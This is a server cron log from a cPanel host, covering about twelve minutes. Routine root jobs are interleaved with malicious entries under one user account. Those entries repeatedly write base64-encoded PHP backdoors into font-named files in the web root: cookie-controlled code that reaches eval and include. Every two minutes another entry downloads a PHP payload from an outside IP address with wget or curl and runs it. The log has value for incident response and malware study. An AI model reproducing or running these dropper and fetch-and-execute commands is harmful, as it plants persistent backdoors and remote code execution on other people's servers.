Aug 30 15:43:01 ip-184-168-122-23 CROND[4369]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 15:44:01 ip-184-168-122-23 CROND[4450]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 15:44:02 ip-184-168-122-23 CROND[4453]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 15:44:02 ip-184-168-122-23 CROND[4452]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 15:44:02 ip-184-168-122-23 CROND[4454]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 15:44:02 ip-184-168-122-23 CROND[4455]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 15:45:01 ip-184-168-122-23 CROND[4625]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 15:45:01 ip-184-168-122-23 CROND[4627]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 15:45:01 ip-184-168-122-23 CROND[4628]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 15:45:01 ip-184-168-122-23 CROND[4633]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 15:45:01 ip-184-168-122-23 CROND[4632]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 15:45:01 ip-184-168-122-23 CROND[4634]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 15:46:01 ip-184-168-122-23 CROND[4721]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 15:46:01 ip-184-168-122-23 CROND[4724]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 30 15:46:01 ip-184-168-122-23 CROND[4725]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 15:46:01 ip-184-168-122-23 CROND[4723]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 15:46:01 ip-184-168-122-23 CROND[4726]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Aug 30 15:46:01 ip-184-168-122-23 CROND[4728]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 15:46:01 ip-184-168-122-23 CROND[4727]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 15:47:01 ip-184-168-122-23 CROND[4816]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 15:47:01 ip-184-168-122-23 CROND[4817]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 15:47:01 ip-184-168-122-23 CROND[4819]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 15:47:01 ip-184-168-122-23 CROND[4822]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 15:48:01 ip-184-168-122-23 CROND[4896]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 15:48:01 ip-184-168-122-23 CROND[4897]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 15:48:01 ip-184-168-122-23 CROND[4899]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 15:48:01 ip-184-168-122-23 CROND[4904]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 15:48:01 ip-184-168-122-23 CROND[4903]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 15:49:01 ip-184-168-122-23 CROND[4993]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 15:49:01 ip-184-168-122-23 CROND[4995]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 15:49:01 ip-184-168-122-23 CROND[4997]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 15:49:01 ip-184-168-122-23 CROND[4998]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 15:50:01 ip-184-168-122-23 CROND[5178]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 30 15:50:01 ip-184-168-122-23 CROND[5180]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 15:50:01 ip-184-168-122-23 CROND[5184]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 15:50:01 ip-184-168-122-23 CROND[5181]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 15:50:01 ip-184-168-122-23 CROND[5182]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 15:50:01 ip-184-168-122-23 CROND[5185]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 15:50:01 ip-184-168-122-23 CROND[5183]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 15:50:01 ip-184-168-122-23 CROND[5187]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 15:50:01 ip-184-168-122-23 CROND[5186]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 15:51:01 ip-184-168-122-23 CROND[5276]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 15:51:01 ip-184-168-122-23 CROND[5277]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 15:51:01 ip-184-168-122-23 CROND[5279]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 15:51:01 ip-184-168-122-23 CROND[5278]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 15:52:01 ip-184-168-122-23 CROND[5364]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 15:52:01 ip-184-168-122-23 CROND[5368]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 15:52:01 ip-184-168-122-23 CROND[5366]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 15:52:01 ip-184-168-122-23 CROND[5367]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 15:52:01 ip-184-168-122-23 CROND[5365]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 15:53:01 ip-184-168-122-23 CROND[5474]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 15:53:01 ip-184-168-122-23 CROND[5476]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 15:53:01 ip-184-168-122-23 CROND[5475]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 15:53:01 ip-184-168-122-23 CROND[5478]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 15:54:01 ip-184-168-122-23 CROND[5551]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 15:54:01 ip-184-168-122-23 CROND[5553]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 15:54:01 ip-184-168-122-23 CROND[5555]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 15:54:01 ip-184-168-122-23 CROND[5554]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 15:54:01 ip-184-168-122-23 CROND[5556]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 15:55:01 ip-184-168-122-23 CROND[5638]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 15:55:01 ip-184-168-122-23 CROND[5639]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 15:55:01 ip-184-168-122-23 CROND[5642]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 15:55:01 ip-184-168-122-23 CROND[5643]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
